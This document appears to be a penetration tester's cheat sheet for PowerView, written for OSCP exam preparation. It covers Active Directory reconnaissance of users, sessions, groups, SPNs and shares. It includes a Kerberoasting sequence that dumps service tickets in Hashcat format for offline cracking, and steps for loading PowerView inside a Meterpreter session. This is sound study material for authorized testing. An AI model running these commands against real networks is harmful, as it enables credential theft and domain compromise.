PowerView

PowerView is part of the PowerSploit and the PowerShell Empire Framework.

💡 Officially allowed during the OSCP exam according to the OSCP Exam FAQ

Location

Upload to the victim machine. See File Transfer.

/usr/share/windows-resources/powersploit/Recon/PowerView.ps1

Enumeration

powershell
Import-Module .\PowerView.ps1

Domain

Domain name & Domain Controllers

Get-NetDomain

Domain SID

Get-DomainSID

Policy

Get-DomainPolicy

Domain controller

Get-NetDomainController -Domain <domain>

Computers

Get-NetComputer | select cn, samaccountname, samaccounttype, operatingsystem, serviceprincipalname | Format-Table -AutoSize | Out-String -Width 4096

Computers & OS

Get-NetComputer | select cn, samaccountname, operatingsystem

Computers & SPNs

Get-NetComputer | select cn, samaccountname, serviceprincipalname | Where-Object { $_.serviceprincipalname } | Out-String -Width 4096

Users & Sessions

Enumerate logged in users – DO THIS FOR EVERY COMPUTER FOUND

❗ GetNetLoggedon uses NetWkstaUserEnum, which requires to be a local administrator.

Get-NetLoggedon | Format-Table
Get-NetLoggedon -ComputerName <computer name> | Format-Table

Retrieve active sessions on the domain controller – DO FOR FILE SERVERS AND DC

Get-NetSession uses NetSessionEnum, which can be run as a regular AD user.

Get-NetSession -ComputerName <DC compute name> | Format-Table

Users & groups

💡 Very useful!

Get-NetUser | select samaccountname,objectsid,memberof | Out-String -Width 4096

Service Principal Names (SPN)

💡 Very useful! Get a Kerberos ticket for Kerberoasting.

Get-DomainSPNTicket [-SPN] <String[]> [-OutputFormat <String>] [-Credential <PSCredential>]
Get-DomainSPNTicket [-User] <Object[]> [-OutputFormat <String>] [-Credential <PSCredential>]
Get-DomainSPNTicket -SPN "<SPN>"
Get-DomainSPNTicket -User "<Object ID of user>"

Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.

Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat

Request Kerberos service ticket for a specific SPN

Not tested by me

Request-SPNTicket -SPN "<SPN>"

Groups

List groups

Get-DomainGroup | select samaccountname | Sort-Object -Property samaccountname
Get-NetGroup | select samaccountname | Sort-Object -Property samaccountname

Groups & Members

Get-NetGroup | select samaccountname,member | Where-Object { $_.member } | Out-String -Width 4096
Get-DomainGroupMember -Recurse -Identity "*" | select GroupName,MemberName,MemberSID | Out-String -Width 4096
Get-DomainGroupMember -Recurse -Identity "Domain Admins" | select GroupName,MemberName,MemberSID | Out-String -Width 4096

Shares

Search file servers. Lot of users use to be logged in this kind of servers

Get-NetFileServer

Search readable shares

Find-DomainShare -CheckShareAccess

Find interesting files, can use filters

Find-InterestingDomainShareFile

PowerView within Metasploit

Within a Meterpreter session

load powershell
powershell_import /root/Desktop/PowerView.ps1
powershell_execute Get-NetDomain